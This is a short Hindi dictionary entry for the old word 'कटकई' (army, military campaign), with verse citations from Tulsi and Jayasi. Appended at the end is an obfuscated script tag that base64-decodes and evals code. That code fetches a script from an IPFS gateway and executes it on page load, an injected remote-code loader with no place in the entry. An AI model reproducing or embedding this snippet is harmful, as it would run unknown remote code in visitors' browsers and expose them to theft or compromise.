कटकई
कटकई - (काव्य प्रयोग, पुरानी हिन्दी) संज्ञा स्त्रीलिंग (संस्कृत कटक+ई प्रत्यय)[१]
1. कटक, सेना, फौज, लश्कर।
उदाहरण-
मुख सूखहि लोचन श्रवहिं शोक न हृदय समाइ। मनहु करुण रस कटकई उतरी अवध बजाई। - तुलसी साहब की शब्दावली[२]
2. चढ़ाई, सेना का साज।
कटकाई।
उदाहरण-
भई कटकई सरद ससि आवा। - जायसी ग्रंथावली[३]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>